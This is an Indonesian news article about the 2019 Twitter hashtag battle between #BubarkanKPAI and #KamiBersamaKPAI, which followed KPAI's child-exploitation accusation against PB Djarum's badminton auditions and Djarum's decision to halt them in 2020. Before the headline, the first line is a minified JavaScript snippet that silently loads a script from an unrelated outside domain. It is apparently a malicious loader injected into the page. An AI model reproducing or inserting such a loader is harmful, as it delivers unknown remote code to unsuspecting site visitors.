(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Tarung Tagar #BubarkanKPAI vs #KamiBersamaKPAI, Kuat Mana?


Polemik yang terjadi antara PB Djarum dan Komisi Perlindungan Anak Indonesia (KPAI) membuat masyarakat, terutama warganet, terbelah.

Hingga berita ini disusun, ada dua tagar yang saling bertarung di jejaring sosial Twitter: tagar #KamiBersamaKPAI melawan tagar #BubarkanKPAI.

Dari tagarnya saja sudah jelas ya, tagar #BubarkanKPAI diisi oleh para warganet yang menginginkan pembubaran KPAI.

Mereka menuding KPAI menghambat aksi PB Djarum yang dinilai kerap mencetak bibit unggul pebulutangkis Indonesia.

Baca: Tepis Unsur Eksploitasi Anak, Imam Nahrawi Minta Audisi PB Djarum Lanjut

Sejauh ini, ada 42 ribu lebih warganet yang berkicau terkait wacana pembubaran KPAI. Namun, tagar itu hanya bercokol di posisi 3 trending Indonesia.

“Tagar #bubarkanKPAI sudah ada tandingannya #KamiBersamaKPAI,” cuit akun @kangdede78, salah satu yang pro ke pembubaran KPAI.

Sebaliknya, penggagas tagar #KamiBersamaKPAI memiliki pandangan berbeda. Bahkan, sebaliknya. Mereka ingin KPAI ada, tidak dibubarkan.

Sejauh ini, tagar tersebut sudah memuncaki trending topic alias nomor 1. Ada lebih dari 6.000 yang memasang tagar tersebut.

Salah satunya @TofaGarisLurus yang memasang tagar #KamiBersamaKPI dengan misi melindungi generasi muda Indonesia.

“Oke #KamiBersamaKPAI melindungi generasi muda Indonesia!” cuit akun @TofaGarisLurus.

 Baca: PB Djarum Hentikan Audisi Umum Bulutangkis Mulai 2020, Polemik dengan KPAI?

Sebelumnya, Program Director Bakti Olahraga Djarum Foundation, Yoppi Rasimin dalam acara konferensi pers, Sabtu (7/9/2019) di Hotel Aston, Purwokerto mengumumkan bila audisi PB Djarum untuk sementara undur diri pada 2020.

Penghentian Audisi Umum PB Djarum ini merupakan buntut dari polemik dengan Komisi Perlindungan Anak Indonesia (KPAI).

Sebagaimana diketahui, KPAI menuduh PB Djarum telah melakukan eksploitasi anak melalui audisi pencarian bakat yang mereka lakukan.

Hal itu menyusul penggunaan brand Djarum di kaos masing-masing anak yang identik dengan produk rokok.

“Pada audisi kali ini juga saya sampaikan sebagai ajang untuk pamit sementara waktu, karena di tahun 2020 kita memutuskan untuk menghentikan audisi umum,” ujar Yoppy dikutip dari laman resmi PB Djarum, Minggu (9/8/2019).

“Memang ini disayangkan banyak pihak, tetapi demi kebaikan bersama kita hentikan dulu, biar reda dulu, dan masing-masing pihak agar bisa berpikir dengan baik,” sambungnya. (suara.com)

Reporter : Suara.com
Editor : KK


Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

14 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

15 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

15 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

17 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

17 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

21 jam ago

This website uses cookies.